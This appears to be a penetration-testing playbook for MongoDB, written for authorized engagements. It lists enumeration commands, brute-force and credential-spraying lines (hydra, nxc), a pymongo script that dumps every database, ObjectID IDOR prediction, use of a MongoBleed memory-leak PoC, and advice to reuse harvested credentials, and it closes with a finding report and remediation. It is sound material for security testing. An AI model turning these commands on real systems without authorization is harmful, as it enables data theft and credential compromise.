pentesting-mongodb

name	pentesting-mongodb
description	Testing MongoDB document databases (default ports 27017 and 27018) for no-auth/unauthenticated access, weak credentials, database and collection dumping, predictable ObjectID enumeration, config-based auth bypass, and the MongoBleed unauthenticated memory-disclosure CVE during authorized engagements.
domain	cybersecurity
subdomain	network-services-pentesting
tags	["penetration-testing","network-services","database","mongodb"]
version	1.0
author	xalgorix
license	Apache-2.0

Pentesting MongoDB (port 27017)

When to Use

• Default ports 27017/tcp and 27018/tcp (shard/replica members); 27019 config servers, 28017 legacy HTTP status.
• Banner/nmap shows mongodb and a version like MongoDB 2.6.9.
• Use whenever 27017/27018 is reachable — MongoDB requires no authentication by default and is one of the most commonly exposed databases.

Quick Enumeration

# All default mongo NSE scripts (info + brute check)
nmap -sV --script "mongo* and default" -p27017 <IP>
nmap -n -sV --script mongodb-brute -p27017 <IP>     # checks if creds are needed

# Native client
mongo <IP>:27017
mongosh "mongodb://<IP>:27017"

# pymongo quick info
from pymongo import MongoClient
c = MongoClient("<IP>", 27017)
print(c.server_info())
print(list(c.list_databases()))

Critical: Checks Most Often Missed

• No-auth / unauthenticated access — the #1 miss. By default mongod accepts connections without credentials; admin is a common DB.
  • How to CONFIRM: mongo <IP>:27017 connects and show dbs lists databases without prompting; nmap --script mongodb-brute reports "No authentication needed". Shodan: "mongodb server information" -"partially enabled" = fully open.
• Weak / default credentials — if auth is on, brute force common pairs.
  • How to CONFIRM: mongo <db> -u admin -p <pass> connects, or nmap --script mongodb-brute finds valid creds.
• Config-based auth bypass (local root) — noauth = true (or missing auth = true) in mongodb.conf//opt/bitnami/mongodb/mongodb.conf; if you have root on the host you can flip it and log in.
  • How to CONFIRM: grep "noauth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v '^#' shows it enabled.
• Predictable ObjectID enumeration (IDOR) — 12-byte ObjectIDs encode timestamp + machine id + process id + incrementing counter, so adjacent records are guessable in apps that expose them.
  • How to CONFIRM: dissect an _id (first 4 bytes = unix time); use mongo-objectid-predict to generate likely next IDs and test them.
• MongoBleed (CVE-2025-14847) — unauthenticated heap memory disclosure — MongoDB 3.6–8.2 with the zlib network compressor enabled trusts an attacker-supplied uncompressedSize in OP_COMPRESSED, leaking uninitialized heap (creds, tokens) pre-auth on 27017.
  • How to CONFIRM: db.adminCommand({getParameter:1, networkMessageCompressors:1}) shows zlib; the public PoC python3 mongobleed.py --host <IP> returns leaked bytes.

Workflow

Step 1: Enumerate

nmap -sV --script "mongo* and default" -p27017 <IP>
mongo <IP>:27017 --eval "db.version()"
mongo <IP>:27017 --eval "db.adminCommand({getParameter:1, networkMessageCompressors:1})"  # MongoBleed check

Step 2: Authenticate (no-auth, default/weak creds, brute force)

mongo <IP>:27017                                   # try unauthenticated
mongo <HOST>:<PORT>/<DB> -u <user> -p '<pass>'     # with creds
nmap -n -sV --script mongodb-brute -p27017 <IP>
hydra -L users.txt -P passwords.txt mongodb://<IP>
nxc mongodb <IP> -u users.txt -p passwords.txt

Step 3: Exploit / Extract (dump databases + collections)

// In the mongo shell
show dbs
use <db>
show collections
db.<collection>.count()
db.<collection>.find()                 // dump the collection
db.current.find({"username":"admin"})  // targeted lookup

# Full dump via pymongo when admin access is available
from pymongo import MongoClient
c = MongoClient("<IP>", 27017)
for d in c.list_database_names():
    for coll in c[d].list_collection_names():
        for doc in c[d][coll].find():
            print(d, coll, doc)

# MongoBleed memory disclosure (pre-auth) when zlib compressor is enabled
python3 mongobleed.py --host <IP> --max-offset 50000 --output leaks.bin

Step 4: Post-access / privilege escalation / pivot

• Dump user collections / app secrets and reuse credentials against web apps, SSH, and other databases.
• With host root and noauth=true, restart-free login gives full DB access.
• ObjectID prediction enables IDOR against any app endpoint that takes a Mongo _id.
• Carve MongoBleed output (leaks.bin) for credentials, API keys, and session tokens leaked from other connections / /proc / WiredTiger cache; repeat with varied offsets to aggregate secrets.

Key Concepts

Concept	Description
No-auth default	mongod accepts connections without credentials unless auth/security.authorization is enabled.
admin database	Default administrative DB; presence of privileged users indicates auth is configured.
ObjectID structure	12 bytes = 4-byte timestamp + 3-byte machine id + 2-byte PID + 3-byte counter (predictable).
OP_COMPRESSED / zlib	Wire-protocol compression abused by MongoBleed to over-allocate and leak heap.
MongoBleed (CVE-2025-14847)	Unauthenticated heap memory disclosure on 27017 when zlib compressor enabled.
noauth config	noauth=true / missing auth=true in mongodb.conf disables authentication.

Tools & Systems

Tool	Purpose
mongo / mongosh	Native shell for connecting, enumerating, and dumping collections.
pymongo	Scriptable client for server info and full database dumps.
nmap NSE	mongodb-info, mongodb-databases, mongodb-brute.
Metasploit	scanner/mongodb/mongodb_login and related auth modules.
netexec (nxc)	nxc mongodb <IP> -u .. -p .. for auth/spraying.
mongo-objectid-predict	Generate likely next ObjectIDs for IDOR enumeration.
mongobleed.py	PoC for CVE-2025-14847 unauthenticated memory disclosure.

Common Scenarios

Scenario 1: No-auth → full dump

mongo <IP>:27017 connects without credentials. show dbs lists application databases; iterating collections with pymongo exfiltrates user records and secrets.

Scenario 2: ObjectID IDOR

An app exposes Mongo _id values in URLs. Using mongo-objectid-predict, the tester guesses adjacent ObjectIDs and accesses other users' documents through the app.

Scenario 3: MongoBleed credential leak

A 27017 instance has zlib compression enabled and a vulnerable version. The PoC repeatedly probes OP_COMPRESSED with oversized uncompressedSize, leaking heap fragments containing another tenant's credentials, all pre-authentication.

Output Format

## MongoDB Finding

**Service**: MongoDB
**Port**: 27017/tcp (MongoDB 4.4)
**Severity**: Critical
**Finding**: Unauthenticated MongoDB exposing all databases
**Evidence**:
  - `mongo <IP>:27017` connected with no credentials
  - show dbs -> admin, config, app_prod (users collection: 12,400 docs)
  - db.app_prod.users.findOne() -> bcrypt password hashes + emails
**Impact**: Full unauthenticated read/write access to all stored data, enabling mass data theft and tampering.
**Recommendation**:
  1. Enable authorization (`security.authorization: enabled`) and create least-privilege users.
  2. Bind to localhost / private interfaces and restrict 27017-27018 by firewall.
  3. Disable the zlib network compressor or patch to address CVE-2025-14847.
  4. Avoid exposing predictable ObjectIDs in application interfaces.